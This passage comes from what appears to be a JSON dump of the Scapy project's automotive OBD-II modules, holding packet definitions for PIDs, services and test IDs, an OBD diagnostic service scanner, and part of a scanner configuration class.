fields_desc = [\n        StrFixedLenField('data', b'', 2)\n    ]\n\n\nclass OBD_PID93(OBD_Packet):\n    name = \"PID_93_WwhObdVehicleObdCountersSupport\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 3)\n    ]\n\n\nclass OBD_PID94(OBD_Packet):\n    name = \"PID_94_NoxWarningAndInducementSystem\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 12)\n    ]\n\n\nclass OBD_PID98(OBD_Packet):\n    name = \"PID_98_ExhaustGasTemperatureSensor\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 9)\n    ]\n\n\nclass OBD_PID99(OBD_Packet):\n    name = \"PID_99_ExhaustGasTemperatureSensor\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 9)\n    ]\n\n\nclass OBD_PID9A(OBD_Packet):\n    name = \"PID_9A_HybridEvVehicleSystemDataBatteryVoltage\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 6)\n    ]\n\n\nclass OBD_PID9B(OBD_Packet):\n    name = \"PID_9B_DieselExhaustFluidSensorData\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 4)\n    ]\n\n\nclass OBD_PID9C(OBD_Packet):\n    name = \"PID_9C_O2SensorData\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 17)\n    ]\n\n\nclass OBD_PID9D(OBD_Packet):\n    name = \"PID_9D_EngineFuelRate\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 4)\n    ]\n\n\nclass OBD_PID9E(OBD_Packet):\n    name = \"PID_9E_EngineExhaustFlowRate\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 2)\n    ]\n\n\nclass OBD_PID9F(OBD_Packet):\n    name = \"PID_9F_FuelSystemPercentageUse\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 9)\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/pids_A0_C0.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import StrFixedLenField, FlagsField\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\n\n\n# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information\n# PID = Parameter IDentification\n\nclass OBD_PIDA0(OBD_Packet):\n    name = \"PID_A0_PIDsSupported\"\n    fields_desc = [\n        FlagsField('supported_pids', 0, 32, [\n            'PIDC0',\n            'PIDBF',\n            'PIDBE',\n            'PIDBD',\n            'PIDBC',\n            'PIDBB',\n            'PIDBA',\n            'PIDB9',\n            'PIDB8',\n            'PIDB7',\n            'PIDB6',\n            'PIDB5',\n            'PIDB4',\n            'PIDB3',\n            'PIDB2',\n            'PIDB1',\n            'PIDB0',\n            'PIDAF',\n            'PIDAE',\n            'PIDAD',\n            'PIDAC',\n            'PIDAB',\n            'PIDAA',\n            'PIDA9',\n            'PIDA8',\n            'PIDA7',\n            'PIDA6',\n            'PIDA5',\n            'PIDA4',\n            'PIDA3',\n            'PIDA2',\n            'PIDA1'\n        ])\n    ]\n\n\nclass OBD_PIDA1(OBD_Packet):\n    name = \"PID_A1_NoxSensorCorrectedData\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 9)\n    ]\n\n\nclass OBD_PIDA2(OBD_Packet):\n    name = \"PID_A2_CylinderFuelRate\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 2)\n    ]\n\n\nclass OBD_PIDA3(OBD_Packet):\n    name = \"PID_A3_EvapSystemVaporPressure\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 9)\n    ]\n\n\nclass OBD_PIDA4(OBD_Packet):\n    name = \"PID_A4_TransmissionActualGear\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 4)\n    ]\n\n\nclass OBD_PIDA5(OBD_Packet):\n    name = \"PID_A5_DieselExhaustFluidDosing\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 4)\n    ]\n\n\nclass OBD_PIDA6(OBD_Packet):\n    name = \"PID_A6_Odometer\"\n    fields_desc = [\n        StrFixedLenField('data', b'', 4)\n    ]\n\n\nclass OBD_PIDC0(OBD_Packet):\n    name = \"PID_C0_PIDsSupported\"\n    fields_desc = [\n        FlagsField('supported_pids', 0, 32, [\n            'PIDE0',\n            'PIDDF',\n            'PIDDE',\n            'PIDDD',\n            'PIDDC',\n            'PIDDB',\n            'PIDDA',\n            'PIDD9',\n            'PIDD8',\n            'PIDD7',\n            'PIDD6',\n            'PIDD5',\n            'PIDD4',\n            'PIDD3',\n            'PIDD2',\n            'PIDD1',\n            'PIDD0',\n            'PIDCF',\n            'PIDCE',\n            'PIDCD',\n            'PIDCC',\n            'PIDCB',\n            'PIDCA',\n            'PIDC9',\n            'PIDC8',\n            'PIDC7',\n            'PIDC6',\n            'PIDC5',\n            'PIDC4',\n            'PIDC3',\n            'PIDC2',\n            'PIDC1'\n        ])\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/scanner.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.korb@e-mundo.de>\n# Copyright (C) Friedrich Feigel <friedrich.feigel@e-mundo.de>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = OnBoardDiagnosticScanner\n# scapy.contrib.status = loads\n\nimport copy\n\nfrom scapy.contrib.automotive.obd.obd import OBD, OBD_S03, OBD_S07, OBD_S0A, \\\n    OBD_S01, OBD_S06, OBD_S08, OBD_S09, OBD_NR, OBD_S02, OBD_S02_Record\nfrom scapy.config import conf\nfrom scapy.packet import Packet\nfrom scapy.themes import BlackAndWhite\n\nfrom scapy.contrib.automotive.scanner.enumerator import ServiceEnumerator, \\\n    _AutomotiveTestCaseScanResult, _AutomotiveTestCaseFilteredScanResult\nfrom scapy.contrib.automotive.scanner.executor import \\\n    AutomotiveTestCaseExecutor\nfrom scapy.contrib.automotive.ecu import EcuState\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \\\n    _SocketUnion\n\n# Typing imports\nfrom typing import (\n    List,\n    Type,\n    Any,\n    Iterable,\n)\n\n\nclass OBD_Enumerator(ServiceEnumerator):\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'full_scan': (bool, None),\n    })\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param bool full_scan: Specifies if the entire scan range is tested, or\n                               if the bitmask with supported identifiers is\n                               queried and only supported identifiers\n                               are scanned.\"\"\"\n\n    @staticmethod\n    def _get_negative_response_code(resp):\n        # type: (Packet) -> int\n        return resp.response_code\n\n    @staticmethod\n    def _get_negative_response_desc(nrc):\n        # type: (int) -> str\n        return OBD_NR(response_code=nrc).sprintf(\"%OBD_NR.response_code%\")\n\n    @staticmethod\n    def _get_negative_response_label(response):\n        # type: (Packet) -> str\n        return response.sprintf(\"NR: %OBD_NR.response_code%\")\n\n    @property\n    def filtered_results(self):\n        # type: () -> List[_AutomotiveTestCaseFilteredScanResult]\n        return self.results_with_positive_response\n\n\nclass OBD_Service_Enumerator(OBD_Enumerator):\n    \"\"\"\n    Base class for OBD_Service_Enumerators\n    \"\"\"\n\n    def get_supported(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> List[int]\n        super(OBD_Service_Enumerator, self).execute(\n            socket, state, scan_range=range(0, 0xff, 0x20),\n            exit_scan_on_first_negative_response=True, **kwargs)\n\n        supported = list()\n        for _, _, r, _, _ in self.results_with_positive_response:\n            dr = r.data_records[0]\n            key = next(iter((dr.lastlayer().fields.keys())))\n            try:\n                supported += [int(i[-2:], 16) for i in\n                              getattr(dr, key, [\"xxx00\"])]\n            except TypeError:\n                pass\n        return list(set([i for i in supported if i % 0x20]))\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        full_scan = kwargs.pop(\"full_scan\", False)  # type: bool\n        if full_scan:\n            super(OBD_Service_Enumerator, self).execute(socket, state, **kwargs)\n        else:\n            supported_pids = self.get_supported(socket, state, **kwargs)\n            del self._request_iterators[state]\n            super(OBD_Service_Enumerator, self).execute(\n                socket, state, scan_range=supported_pids, **kwargs)\n\n    execute.__doc__ = OBD_Enumerator._supported_kwargs_doc\n\n    @staticmethod\n    def print_payload(resp):\n        # type: (Packet) -> str\n        backup_ct = conf.color_theme\n        conf.color_theme = BlackAndWhite()\n        load = repr(resp.data_records[0].lastlayer())\n        conf.color_theme = backup_ct\n        return load\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], self.print_payload)\n\n\nclass OBD_DTC_Enumerator(OBD_Enumerator):\n    @staticmethod\n    def print_payload(resp):\n        # type: (Packet) -> str\n        backup_ct = conf.color_theme\n        conf.color_theme = BlackAndWhite()\n        load = repr(resp.dtcs)\n        conf.color_theme = backup_ct\n        return load\n\n\nclass OBD_S03_Enumerator(OBD_DTC_Enumerator):\n    _description = \"Available DTCs in OBD service 03\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return [OBD() / OBD_S03()]\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 03\"\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        resp = tup[2]\n        if resp is None:\n            return \"Timeout\"\n        else:\n            return \"NR\" if resp.service == 0x7f else \"%d DTCs\" % resp.count\n\n\nclass OBD_S07_Enumerator(OBD_DTC_Enumerator):\n    _description = \"Available DTCs in OBD service 07\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return [OBD() / OBD_S07()]\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 07\"\n\n\nclass OBD_S0A_Enumerator(OBD_DTC_Enumerator):\n    _description = \"Available DTCs in OBD service 10\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return [OBD() / OBD_S0A()]\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 0A\"\n\n\nclass OBD_S01_Enumerator(OBD_Service_Enumerator):\n    \"\"\"OBD_S01_Enumerator\"\"\"\n\n    _description = \"Available data in OBD service 01\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))  # type: Iterable[int]  # noqa: E501\n        return (OBD() / OBD_S01(pid=[x]) for x in scan_range)\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 01\"\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        resp = tup[2]\n        if resp is None:\n            return \"Timeout\"\n        else:\n            return \"NR\" if resp.service == 0x7f else \\\n                \"%s\" % resp.data_records[0].lastlayer().name\n\n\nclass OBD_S02_Enumerator(OBD_Service_Enumerator):\n    _description = \"Available data in OBD service 02\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))  # type: Iterable[int]  # noqa: E501\n        return (OBD() / OBD_S02(requests=[OBD_S02_Record(pid=[x])])\n                for x in scan_range)\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 02\"\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        resp = tup[2]\n        if resp is None:\n            return \"Timeout\"\n        else:\n            return \"NR\" if resp.service == 0x7f else \\\n                \"%s\" % resp.data_records[0].lastlayer().name\n\n\nclass OBD_S06_Enumerator(OBD_Service_Enumerator):\n    _description = \"Available data in OBD service 06\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))  # type: Iterable[int]  # noqa: E501\n        return (OBD() / OBD_S06(mid=[x]) for x in scan_range)\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 06\"\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        req = tup[1]\n        resp = tup[2]\n        if resp is None:\n            return \"Timeout\"\n        else:\n            return \"NR\" if resp.service == 0x7f else \\\n                \"0x%02x %s\" % (\n                    req.mid[0],\n                    resp.data_records[0].sprintf(\"%OBD_S06_PR_Record.mid%\"))\n\n\nclass OBD_S08_Enumerator(OBD_Service_Enumerator):\n    _description = \"Available data in OBD service 08\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))  # type: Iterable[int]  # noqa: E501\n        return (OBD() / OBD_S08(tid=[x]) for x in scan_range)\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 08\"\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        resp = tup[2]\n        if resp is None:\n            return \"Timeout\"\n        else:\n            return \"NR\" if resp.service == 0x7f else \"0x%02x %s\" % (\n                tup[1].tid[0], resp.data_records[0].lastlayer().name)\n\n\nclass OBD_S09_Enumerator(OBD_Service_Enumerator):\n    _description = \"Available data in OBD service 09\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))  # type: Iterable[int]  # noqa: E501\n        return (OBD() / OBD_S09(iid=[x]) for x in scan_range)\n\n    def _get_table_entry_x(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"Service 09\"\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        resp = tup[2]\n        if resp is None:\n            return \"Timeout\"\n        else:\n            return \"NR\" if resp.service == 0x7f else \\\n                \"0x%02x %s\" % (tup[1].iid[0],\n                               resp.data_records[0].lastlayer().name)\n\n\nclass OBD_Scanner(AutomotiveTestCaseExecutor):\n    @property\n    def enumerators(self):\n        # type: () -> List[AutomotiveTestCaseABC]\n        return self.configuration.test_cases\n\n    @property\n    def default_test_case_clss(self):\n        # type: () -> List[Type[AutomotiveTestCaseABC]]\n        return [OBD_S01_Enumerator, OBD_S02_Enumerator, OBD_S06_Enumerator,\n                OBD_S08_Enumerator, OBD_S09_Enumerator, OBD_S03_Enumerator,\n                OBD_S07_Enumerator, OBD_S0A_Enumerator]\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/services.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import ByteField, XByteField, BitEnumField, \\\n    PacketListField, XBitField, XByteEnumField, FieldListField, FieldLenField\nfrom scapy.packet import Packet\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\nfrom scapy.config import conf\n\n\nclass OBD_DTC(OBD_Packet):\n    name = \"DiagnosticTroubleCode\"\n\n    locations = {\n        0b00: 'Powertrain',\n        0b01: 'Chassis',\n        0b10: 'Body',\n        0b11: 'Network',\n    }\n\n    fields_desc = [\n        BitEnumField('location', 0, 2, locations),\n        XBitField('code1', 0, 2),\n        XBitField('code2', 0, 4),\n        XBitField('code3', 0, 4),\n        XBitField('code4', 0, 4),\n    ]\n\n\nclass OBD_NR(Packet):\n    name = \"NegativeResponse\"\n\n    responses = {\n        0x10: 'generalReject',\n        0x11: 'serviceNotSupported',\n        0x12: 'subFunctionNotSupported-InvalidFormat',\n        0x21: 'busy-RepeatRequest',\n        0x22: 'conditionsNotCorrectOrRequestSequenceError',\n        0x78: 'requestCorrectlyReceived-ResponsePending'\n    }\n\n    fields_desc = [\n        XByteField('request_service_id', 0),\n        XByteEnumField('response_code', 0, responses)\n    ]\n\n    def answers(self, other):\n        return self.request_service_id == other.service and \\\n            (self.response_code != 0x78 or\n             conf.contribs['OBD']['treat-response-pending-as-answer'])\n\n\nclass OBD_S01(Packet):\n    name = \"S1_CurrentData\"\n    fields_desc = [\n        FieldListField(\"pid\", [], XByteField('', 0))\n    ]\n\n\nclass OBD_S02_Record(OBD_Packet):\n    fields_desc = [\n        XByteField('pid', 0),\n        ByteField('frame_no', 0)\n    ]\n\n\nclass OBD_S02(Packet):\n    name = \"S2_FreezeFrameData\"\n    fields_desc = [\n        PacketListField(\"requests\", [], OBD_S02_Record)\n    ]\n\n\nclass OBD_S03(Packet):\n    name = \"S3_RequestDTCs\"\n\n\nclass OBD_S03_PR(Packet):\n    name = \"S3_ResponseDTCs\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='dtcs', fmt='B'),\n        PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S03)\n\n\nclass OBD_S04(Packet):\n    name = \"S4_ClearDTCs\"\n\n\nclass OBD_S04_PR(Packet):\n    name = \"S4_ClearDTCsPositiveResponse\"\n\n    def answers(self, other):\n        return isinstance(other, OBD_S04)\n\n\nclass OBD_S06(Packet):\n    name = \"S6_OnBoardDiagnosticMonitoring\"\n    fields_desc = [\n        FieldListField(\"mid\", [], XByteField('', 0))\n    ]\n\n\nclass OBD_S07(Packet):\n    name = \"S7_RequestPendingDTCs\"\n\n\nclass OBD_S07_PR(Packet):\n    name = \"S7_ResponsePendingDTCs\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='dtcs', fmt='B'),\n        PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S07)\n\n\nclass OBD_S08(Packet):\n    name = \"S8_RequestControlOfSystem\"\n    fields_desc = [\n        FieldListField(\"tid\", [], XByteField('', 0))\n    ]\n\n\nclass OBD_S09(Packet):\n    name = \"S9_VehicleInformation\"\n    fields_desc = [\n        FieldListField(\"iid\", [], XByteField('', 0))\n    ]\n\n\nclass OBD_S0A(Packet):\n    name = \"S0A_RequestPermanentDTCs\"\n\n\nclass OBD_S0A_PR(Packet):\n    name = \"S0A_ResponsePermanentDTCs\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='dtcs', fmt='B'),\n        PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S0A)\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/tid/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive obd specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/tid/tids.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import FlagsField, ByteField, ScalingField, PacketListField\nfrom scapy.packet import bind_layers, Packet\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\nfrom scapy.contrib.automotive.obd.services import OBD_S08\n\n\nclass _OBD_TID_Voltage(OBD_Packet):\n    fields_desc = [\n        ScalingField('data_a', 0, 0.005, \"V\"),\n        ScalingField('data_b', 0, 0.005, \"V\"),\n        ScalingField('data_c', 0, 0.005, \"V\"),\n        ScalingField('data_d', 0, 0.005, \"V\"),\n        ScalingField('data_e', 0, 0.005, \"V\"),\n    ]\n\n\nclass _OBD_TID_Time(OBD_Packet):\n    fields_desc = [\n        ScalingField('data_a', 0, 0.004, \"s\"),\n        ScalingField('data_b', 0, 0.004, \"s\"),\n        ScalingField('data_c', 0, 0.004, \"s\"),\n        ScalingField('data_d', 0, 0.004, \"s\"),\n        ScalingField('data_e', 0, 0.004, \"s\"),\n    ]\n\n\nclass _OBD_TID_Period(OBD_Packet):\n    fields_desc = [\n        ScalingField('data_a', 0, 0.04, \"s\"),\n        ScalingField('data_b', 0, 0.04, \"s\"),\n        ScalingField('data_c', 0, 0.04, \"s\"),\n        ScalingField('data_d', 0, 0.04, \"s\"),\n        ScalingField('data_e', 0, 0.04, \"s\"),\n    ]\n\n\nclass OBD_TID00(OBD_Packet):\n    name = \"TID_00_Service8SupportedTestIdentifiers\"\n    fields_desc = [\n        FlagsField('supported_tids', 0, 32, [\n            'TID20',\n            'TID1F',\n            'TID1E',\n            'TID1D',\n            'TID1C',\n            'TID1B',\n            'TID1A',\n            'TID19',\n            'TID18',\n            'TID17',\n            'TID16',\n            'TID15',\n            'TID14',\n            'TID13',\n            'TID12',\n            'TID11',\n            'TID10',\n            'TID0F',\n            'TID0E',\n            'TID0D',\n            'TID0C',\n            'TID0B',\n            'TID0A',\n            'TID09',\n            'TID08',\n            'TID07',\n            'TID06',\n            'TID05',\n            'TID04',\n            'TID03',\n            'TID02',\n            'TID01'\n        ])\n    ]\n\n\nclass OBD_TID01(_OBD_TID_Voltage):\n    name = \"TID_01_RichToLeanSensorThresholdVoltage\"\n\n\nclass OBD_TID02(_OBD_TID_Voltage):\n    name = \"TID_02_LeanToRichSensorThresholdVoltage\"\n\n\nclass OBD_TID03(_OBD_TID_Voltage):\n    name = \"TID_03_LowSensorVoltageForSwitchTimeCalculation\"\n\n\nclass OBD_TID04(_OBD_TID_Voltage):\n    name = \"TID_04_HighSensorVoltageForSwitchTimeCalculation\"\n\n\nclass OBD_TID05(_OBD_TID_Time):\n    name = \"TID_05_RichToLeanSensorSwitchTime\"\n\n\nclass OBD_TID06(_OBD_TID_Time):\n    name = \"TID_06_LeanToRichSensorSwitchTime\"\n\n\nclass OBD_TID07(_OBD_TID_Voltage):\n    name = \"TID_07_MinimumSensorVoltageForTestCycle\"\n\n\nclass OBD_TID08(_OBD_TID_Voltage):\n    name = \"TID_08_MaximumSensorVoltageForTestCycle\"\n\n\nclass OBD_TID09(_OBD_TID_Period):\n    name = \"TID_09_TimeBetweenSensorTransitions\"\n\n\nclass OBD_TID0A(_OBD_TID_Period):\n    name = \"TID_0A_SensorPeriod\"\n\n\nclass OBD_S08_PR_Record(Packet):\n    name = \"Control Operation ID\"\n    fields_desc = [\n        ByteField(\"tid\", 0),\n    ]\n\n\nclass OBD_S08_PR(Packet):\n    name = \"Control Operation IDs\"\n    fields_desc = [\n        PacketListField(\"data_records\", [], OBD_S08_PR_Record)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S08) \\\n            and all(r.tid in other.tid for r in self.data_records)\n\n\nbind_layers(OBD_S08_PR_Record, OBD_TID00, tid=0x00)\nbind_layers(OBD_S08_PR_Record, OBD_TID01, tid=0x01)\nbind_layers(OBD_S08_PR_Record, OBD_TID02, tid=0x02)\nbind_layers(OBD_S08_PR_Record, OBD_TID03, tid=0x03)\nbind_layers(OBD_S08_PR_Record, OBD_TID04, tid=0x04)\nbind_layers(OBD_S08_PR_Record, OBD_TID05, tid=0x05)\nbind_layers(OBD_S08_PR_Record, OBD_TID06, tid=0x06)\nbind_layers(OBD_S08_PR_Record, OBD_TID07, tid=0x07)\nbind_layers(OBD_S08_PR_Record, OBD_TID08, tid=0x08)\nbind_layers(OBD_S08_PR_Record, OBD_TID09, tid=0x09)\nbind_layers(OBD_S08_PR_Record, OBD_TID0A, tid=0x0A)\n"
  },
  {
    "path": "scapy/contrib/automotive/scanner/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Automotive Scanner Library\n# scapy.contrib.status = skip\n"
  },
  {
    "path": "scapy/contrib/automotive/scanner/configuration.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = AutomotiveTestCaseExecutorConfiguration\n# scapy.contrib.status = library\n\nimport inspect\nfrom threading import Event\n\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.scanner.graph import Graph\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC\nfrom scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase  # noqa: E501\n\n# Typing imports\nfrom typing import (\n    Any,\n    Union,\n    List,\n    Type,\n    Set,\n    cast,\n)\n\n\nclass AutomotiveTestCaseExecutorConfiguration(object):\n    \"\"\"\n    Configuration storage for AutomotiveTestCaseExecutor.\n\n    The following keywords are used in the AutomotiveTestCaseExecutor:\n        verbose: Enables verbose output and logging\n        debug:  Will raise Exceptions on internal errors\n\n    :param test_cases: List of AutomotiveTestCase classes or instances.\n                       Classes will get instantiated in this initializer.\n    :param kwargs: Configuration for every AutomotiveTestCase in test_cases\n                   and for the AutomotiveTestCaseExecutor. TestCase local\n                   configuration and global configuration for all TestCase\n                   objects are possible. All keyword arguments given will\n                   be stored for every TestCase. To define a local\n                   configuration for one TestCase only, the keyword\n                   arguments need to be provided in a dictionary.\n                   To assign a configuration dictionary to a TestCase, the\n                   keyword need to identify the TestCase by the following\n                   pattern.\n                   ``MyTestCase_kwargs={\"someConfig\": 42}``\n                   The keyword is composed from the TestCase class name and\n                   the postfix '_kwargs'.\n\n    Example:\n        >>> config = AutomotiveTestCaseExecutorConfiguration([MyTestCase], global_config=42, MyTestCase_kwargs={\"localConfig\": 1337})  # noqa: E501\n    \"\"\"\n    def __setitem__(self, key, value):\n        # type: (Any, Any) -> None\n        self.__dict__[key] = value\n\n    def __getitem__(self, key):\n        # type: (Any) -> Any\n        return self.__dict__[key]\n\n    def _generate_test_case_config(self, test_case_cls):\n        # type: (Type[AutomotiveTestCaseABC]) -> None\n        # try to get config from kwargs\n        if test_case_cls in self.test_case_clss:\n            return\n\n        self.test_case_clss.add(test_case_cls)\n\n        kwargs_name = test_case_cls.__name__ + \"_kwargs\"\n        self.__setattr__(test_case_cls.__name__, self.global_kwargs.pop(\n            kwargs_name, dict()))\n\n        # apply global config\n        val = self.__getattribute__(test_case_cls.__name__)\n        for kwargs_key, kwargs_val in self.global_kwargs.items():\n            if \"_kwargs\" in kwargs_key:\n                continue\n            if kwargs_key not in val.keys():\n                val[kwargs_key] = kwargs_val\n        self.__setattr__(test_case_cls.__name__, val)\n\n    def add_test_case(self, test_case):\n        # type: (Union[AutomotiveTestCaseABC, Type[AutomotiveTestCaseABC], StagedAutomotiveTestCase, Type[StagedAutomotiveTestCase]]) -> None  # noqa: E501\n        if inspect.isclass(test_case):\n            test_case_class = cast(Union[Type[AutomotiveTestCaseABC],\n                                         Type[StagedAutomotiveTestCase]],\n                                   test_case)\n            if issubclass(test_case_class, StagedAutomotiveTestCase):\n                self.add_test_case(test_case_class())  # type: ignore\n            elif issubclass(test_case_class, AutomotiveTestCaseABC):\n                self.add_test_case(test_case_class())\n            else:\n                raise TypeError(\n                    \"Provided class is not in \"\n                    \"Union[Type[AutomotiveTestCaseABC], \"\n                    \"Type[StagedAutomotiveTestCase]]\")\n\n        elif isinstance(test_case, AutomotiveTestCaseABC):\n            self.test_cases.append(test_case)\n            self._generate_test_case_config(test_case.__class__)\n            if isinstance(test_case, StagedAutomotiveTestCase):\n                self.stages.append(test_case)\n                for tc in test_case.test_cases:\n                    self.staged_test_cases.append(tc)\n                    self._generate_test_case_config(tc.__class__)\n        else:\n            raise TypeError(\n                \"Provided instance or class of \"\n                \"StagedAutomotiveTestCase or AutomotiveTestCaseABC\")\n\n    def __init__(self, test_cases, **kwargs):\n        # type: (Union[List[Union[AutomotiveTestCaseABC, Type[AutomotiveTestCaseABC]]], List[Type[AutomotiveTestCaseABC]]], Any) -> None  # noqa: E501\n        self.verbose = kwargs.get(\"verbose\", False)\n        self.debug = kwargs.get(\"debug\", False)\n        self.unittest = kwargs.pop(\"unittest\", False)\n        self.delay_enter_state = kwargs.pop(\"delay_enter_state\", 0)\n        self.state_graph = Graph()\n        self.test_cases = list()  # type: List[AutomotiveTestCaseABC]\n        self.stages = list()  # type: List[StagedAutomotiveTestCase]\n        self.staged_test_cases = list()  # type: List[AutomotiveTestCaseABC]\n        self.test_case_clss = set()  # type: Set[Type[AutomotiveTestCaseABC]]\n        self.stop_event = Event()\n        self.global_kwargs = kwargs\n        self.global_kwargs[\"stop_event\"] = self.stop_event\n\n        for tc in test_cases:\n            self.add_test_case(tc)\n\n        log_automotive.debug(\"The following configuration was created\")\n        log_automotive.debug(self.__dict__)\n\n    def __reduce__(self):  # type: ignore\n        f, t, d = super(AutomotiveTestCaseExecutorConfiguration, self).__reduce__()  # type: ignore  # noqa: E501\n\n        try:\n            del d[\"tps\"]\n        except KeyError:\n            pass\n\n        try:\n            del d[\"stop_event\"]\n        except KeyError:\n            pass\n\n        try:\n            del d[\"global_kwargs\"][\"stop_event\"]\n        except KeyError:\n            pass\n\n        for tc in d[\"test_cases\"]:\n            try:\n                del 